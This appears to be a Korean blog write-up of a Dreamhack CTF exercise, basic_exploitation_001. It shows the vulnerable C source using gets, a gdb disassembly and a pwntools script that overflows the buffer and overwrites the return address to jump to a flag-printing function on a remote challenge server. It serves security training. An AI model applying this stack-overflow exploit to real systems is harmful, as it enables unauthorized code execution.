basic_exploitation_000문제와 같이 눈에 띄어서 풀려한다.
000과 마찬가지로 간단한 문제이니 빠르게 풀어보자.
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
실습 서버의 리눅스 버전과 바이너리 파일의 정보는 위와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
이전 문제와 같이 친절하게도 소스 코드를 제공해준다.
이전 문제와는 다르게 read_flag라는 함수가 추가되었고 입력 함수가 gets로 변경되었다.
gets의 경우 입력시에 입력 길이 제한을 두지 않아서 버퍼 오버플로우에 취약하다.
이전 문제와 같이 버퍼에 셸코드와 nop를 채우고 ret에 버퍼에 주소를 넣어 풀어도 되겠지만
flag를 출력해주는 함수가 존재하니 이것을 이용해보자.
gdb를 이용해 buf의 크기와 read_flag의 주소를 찾아보자.
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80]
0x080485da <+14>: push eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
buf의 위치가 ebp-0x80이고 buf의 크기가 0x80인게 확실해 보인다.
read_flag 함수의 주소는 위와 같이 0x80485b9이다.
전체적인 메모리 구조는 다음과 같다.
따라서 buf + sfp를 전부 의미 없는 값으로 채우고 ret에 read_flag의 주소를 넣는다.
from pwn import *
r = remote('host3.dreamhack.games', 20433)
payload = b'\x90' * 0x80 # buf를 0x80만큼 채운다.
payload += b'\x90' * 0x4 # sfp를 의미없는 값으로 채운다.
payload += p32(0x80485b9) # ret에 read_flag 함수의 주소를 넣는다.
r.sendline(payload)
print(r.recvall())
위와 같이 작성된 익스플로잇 코드를 실행하면 다음과 같이 무사히 flag값을 얻을 수 있다.
끝!
'보안 > 시스템 해킹' 카테고리의 다른 글
Out-Of-Boundary (0) | 2023.11.30 |
---|---|
Off - By - One (0) | 2023.11.28 |
Dreamhack - basic_exploitation_000 (0) | 2023.10.22 |
[PlaidCTF] ropasaurusrex 문제 풀이 (0) | 2023.10.12 |
ShellCode - Egg Shell.part2 (1) | 2023.10.03 |